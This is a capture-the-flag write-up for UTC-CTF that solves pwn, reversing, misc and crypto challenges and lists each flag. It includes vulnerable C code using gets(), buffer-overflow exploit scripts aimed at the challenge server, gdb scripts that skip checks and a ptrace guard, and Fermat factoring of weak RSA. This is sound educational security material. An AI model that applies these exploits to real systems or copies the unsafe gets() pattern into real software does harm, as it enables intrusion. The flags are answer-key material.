I played UTC-CTF as wr0ngf1ag
alone. Luckily, I reached 7th place at the end of that great competition! There were many well-designed challenges and educational challenges. Thanks to all the admins!
[pwn] Simble bof (baby)
We're given the source code of the server.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
void print_flag();
void vuln() {
char padding[16];
char buff[32];
int notsecret = 0xffffff00;
int secret = 0xdeadbeef;
memset(buff, 0, sizeof(buff));
memset(padding, 0xFF, sizeof(padding));
init_visualize(buff);
visualize(buff);
printf("Input some text: ");
gets(buff);
visualize(buff);
if (secret == 0x67616c66) {
puts("You did it! Congratuations!");
print_flag();
return;
} else if (notsecret != 0xffffff00) {
puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
} else if (secret != 0xdeadbeef) {
puts("Wow you overflowed the secret value! Now try controlling the value of it!");
} else {
puts("Maybe you haven't overflowed enough characters? Try again?");
}
exit(0);
}
int main() {
safeguard();
vuln();
}
Just do it!
from ptrlib import *
sock = Socket("chal.utc-ctf.club", 35235)
payload = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + p32(0x67616C66)
sock.recvuntil("text: ")
sock.sendline(payload)
sock.interactive()
utc{buffer_0verflows_4re_c00l!}
[pwn] RIP my bof (baby)
We're given the server binary and source code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init_visualize(char* buff);
void visualize(char* buff);
void win() {
system("/bin/cat /flag.txt");
}
void vuln() {
char padding[16];
char buff[32];
memset(buff, 0, sizeof(buff));
memset(padding, 0xFF, sizeof(padding));
init_visualize(buff);
visualize(buff);
printf("Input some text: ");
gets(buff);
visualize(buff);
}
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
vuln();
}
Just do it
from ptrlib import *
sock = Socket("chal.utc-ctf.club", 4902)
payload = b"a" * 60 + p32(0x8048586)
sock.recvuntil("text: ")
sock.sendline(payload)
sock.interactive()
utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd}
[Misc] ezip (baby)
We're given an encrypted zip and cat.png
. The image must have the key. When I check the EXIF info, it had a comment e4syp4ssf0rz1p
. This was a password.
[Misc] Optics 1 (baby)
We got a corrupted file challenge1.png
. Its signature is altered to LOL
so I recovered it into PNG
using hexedit
. Then the QR code in the image had the flag.
[Misc] Really Good Bicture
We got a simple image. According to the challenge title (RGB), I did the following script.
from PIL import Image
img = Image.open("flag.png")
w, h = img.size
prev = None
flag = []
for x in range(w):
r, g, b = img.getpixel((x, 0))
if (r, g, b) != prev:
flag.extend([r, g, b])
prev = (r, g, b)
print("".join(chr(c) for c in flag))
utc{taste_the_rainbow94100389}
[Reversing] Strings (baby)
Just strings
to get the flag: utc{that_waz_ezpz}
[Reversing] Corey's core dump 1 (baby)
Also just strings
to get the flag: utc{im_a_passw0rd}
[Reversing] Jump! (baby)
We got an ELF binary. It set the global variable selfish
to 0 and just exited. But there was an uncalled function gimme_flag
in the binary. It checks the selfish
is zero and generates the flag. So I used following gdb script to make selfish
0 and jump to gimme_flag
.
import gdb
gdb.execute("b main")
gdb.execute("run")
data = gdb.execute("info addr selfish", to_string=True).split()
for d in data:
if d.startswith("0x"):
break
gdb.execute("set {{int}}{}=0".format(d))
gdb.execute("jump gimme_flag")
utc{a_l1ttle_h4rd3r_:)}
[Reversing] Crackme (baby)
We got an ELF. It had the three stages which verify the user's input. The first stage is easy to identify the key was 383
. The second stage checks the user's input after taking caesar's cipher. Because the rotation key was 5 and the result was JxWJaJW!
, the key was EsREvER!
. And the last stage used xor cipher to check the input. This one is also easy. I wrote the following script.
s = "L33TC0dE"
want = "x\001\022\vw\002E\032x\001\022\vw\002Edm\002\002ub\001E"
code = ""
for i in range(len(want)):
code += chr(ord(want[i]) ^ ord(s[i % len(s)]))
print(code)
So the keys were (383, EsREvER!
, 42!_42!_42!_42!!!11!!1!
). Then the flag was utc{383_EsREvER!_42!_42!_42!_42!!!11!!1!}
.
[Reversing] Login auth
We got an ELF. This xored its data section and jump to there. I was decompiled there and found that the code checked the input by xor. So the following script identifies it.
xs = [
0x6E,
0x2,
0x0B,
0x12,
0x23,
0x49,
0x85,
0x0BD,
0x4B,
0x87,
0x0D,
0x0B3,
0x11,
0x0D,
0x25,
0x80,
0x0A6,
0x82,
0x4A,
0x88,
0x61,
0x3E,
0x0C3,
0x0A6,
0x7F,
0x71,
0x3,
0x7E,
0x85,
0x11,
0x0B2,
0x8B,
0x62,
0x33,
0x72,
0x0BC,
0x34,
0x4,
0x54,
0x28,
0x40,
0x3B,
0x19,
0x0A,
0x48,
0x0B,
0x41,
]
ys = [
0x1B,
0x76,
0x68,
0x69,
0x12,
0x27,
0x0F6,
0x8E,
0x39,
0x0F3,
0x52,
0x0D5,
0x7D,
0x4C,
0x42,
0x0DF,
0x0C8,
0x0E3,
0x7,
0x0BB,
0x3E,
0x4C,
0x0F0,
0x0CA,
0x1E,
0x5,
0x66,
0x1A,
0x0DA,
0x65,
0x82,
0x0D4,
0x1,
0x5B,
0x13,
0x0F0,
0x78,
0x41,
0x3A,
0x4F,
0x25,
0x64,
0x71,
0x39,
0x3A,
0x38,
0x3C,
]
a = ""
for i in range(len(xs)):
a += (chr(xs[i] ^ ys[i]))
print(a)
utc{1ns3rt_flAg_naM3_r3lated_t0_chaLLEnge_h3r3}
[Reversing] Stacks
We got an ELF in which the main function was seemed pretty small. However, it used dynamic jump operation like a jmp rcx
and cheked the user input using xor. I used the following gdb script to follow the jumps and registers and avoid the ptrace
check.
import gdb
import re
with open("input.txt", "w") as f:
f.write("A" * 0x20)
alist = []
dlist = []
gdb.execute("b *0x401000", to_string=True)
gdb.execute("run < input.txt", to_string=True)
gdb.execute("b *0x401128", to_string=True)
gdb.execute("continue", to_string=True)
gdb.execute("set $rax = 0", to_string=True)
gdb.execute("b *0x401024", to_string=True)
gdb.execute("b *0x401032", to_string=True)
gdb.execute("b *0x401075", to_string=True)
while True:
gdb.execute("continue", to_string=True)
gdb.execute("step", to_string=True)
a = gdb.execute("print $ah", to_string=True).strip().split(" = ")[1]
alist.append(int(a))
gdb.execute("continue", to_string=True)
gdb.execute("step", to_string=True)
d = gdb.execute("print $dh", to_string=True).strip().split(" = ")[1]
dlist.append(int(d))
gdb.execute("continue", to_string=True)
gdb.execute("set $eflags = $eflags | (1 << 6)", to_string=True)
print("".join(chr(a ^ d) for a, d in zip(alist, dlist)))
Note: this script runs with pwndbg
utc{stAcks_Ar3_WACK!!!_HEHEXDXD}
[Crypto] RSAcue
We're given the following script and its result.
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import gmpy2
from flag import m
p = getPrime(1024)
while True:
p1 = gmpy2.next_prime(p)
if p1-p == 2:
q = p1
break
else:
p = p1
n = p*q
e = 65537
pub = RSA.construct((long(n), long(e)))
f = open('publickey.pem', 'w')
f.write(pub.exportKey())
f.close()
key = PKCS1_v1_5.new(pub)
ct = key.encrypt(m).encode('base64')
f1 = open('ciphertext', 'w')
f1.write(ct)
f1.close()
At first glance, it noticed that p
and q
are quite near (there may be twin primes). So the Fermat factoring attack is effective.
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from crypto_commons.generic import fermat_factors
from base64 import b64decode
rsa = RSA.importKey(open("publickey.pem").read())
p, q = fermat_factors(rsa.n)
e = rsa.e
d = inverse(e, (p - 1) * (q - 1))
c = b64decode(open("ciphertext").read().replace("\n", ""))
c = bytes_to_long(c)
m = pow(c, d, rsa.n)
print(long_to_bytes(m))
utc{d0n7_k33p_pr1m35_cl053_by_2}
[Crypto] Curve it up
We got the curve.txt
. Here is it.
Elliptic Curve: y^2 = x^3 + A*x + B mod N
N = 58738485967040967283590643918006240808790184776077323544750172596357004242953
A = 76727570604275129576071347306603709762219034167050511215297136720584179974657
B = ???
P = (1499223386326383661524589770996693829399568387777849887556841520506306635197, 18509752623395560148909577815970815579696746171847377654079329916213349431951)
Q = (29269524564002256949792104801311755011410313401000538744897527268133583311507, 29103379885505292913479681472487667587485926778997205945316050421132313574991)
Q = n*P
The flag is utc{n}
The B
is unknown but we know P and Q, so it is easy to identify B
. And then, it is easy to calculate n
. I used sagemath.
sage: x = 1499223386326383661524589770996693829399568387777849887556841520506306
....: 635197
sage: y = 1850975262339556014890957781597081557969674617184737765407932991621334
....: 9431951
sage: N = 5873848596704096728359064391800624080879018477607732354475017259635700
....: 4242953
....: A = 7672757060427512957607134730660370976221903416705051121529713672058417
....: 9974657
sage: (x^3 + A*x - y^2) % N
51815615959490465098483241883476658568251085372935164566673646687456909276745
sage: B = -518156159594904650984832418834766585682510853729351645666736466874569
....: 09276745 % N
sage: P = EC(1499223386326383661524589770996693829399568387777849887556841520506
....: 306635197, 185097526233955601489095778159708155796967461718473776540793299
....: 16213349431951)
sage: Q = EC(2926952456400225694979210480131175501141031340100053874489752726813
....: 3583311507, 29103379885505292913479681472487667587485926778997205945316050
....: 421132313574991)
sage: P.discrete_log(Q)
314159
utc{314159}
[Crypto] OTP
This is multi time pad. Just do it.
MY FAVORITE SEASON IS TOTALLY THE SUMMER
NO WAY THE BEST SEASON IS TOTALLY SPRING
utc{drag_those_cribs}
It is a reversing challenge rather than the crypto challenge. Just do it!
utc{En1gm4_e1N5_w4s_w4444y_str0nG3r_7h4n_th15}
[Crypto] Random Hash
We're given the following script.
import sys
import random
for trial in range(20):
mask = (1<<64)-1
seed = random.getrandbits(64)
base = random.getrandbits(64)|1
def xhash(x):
h = seed
for b in x:
h = ((h+b)*base)&mask
return h
a = input('string 1> ')
b = input('string 2> ')
if a == b:
sys.exit(0)
if xhash(a.encode()) != xhash(b.encode()):
sys.exit(0)
with open('flag.txt') as f:
print(f.read().strip())
The xhash
is the implementation of the Rolling Hash. And use 2^64
as the modulo. So I referenced this site and wrote the following script.
from ptrlib import Socket
s1 = "011<snip>110"
s2 = "100<snip>001"
sock = Socket("chal.utc-ctf.club", 5991)
for _ in range(20):
sock.recvuntil(" 1> ")
sock.sendline(s1)
sock.recvuntil(" 2> ")
sock.sendline(s2)
sock.interactive()
utc{1s_p0lly_h4sh_b3tt3r_th4n_SHA}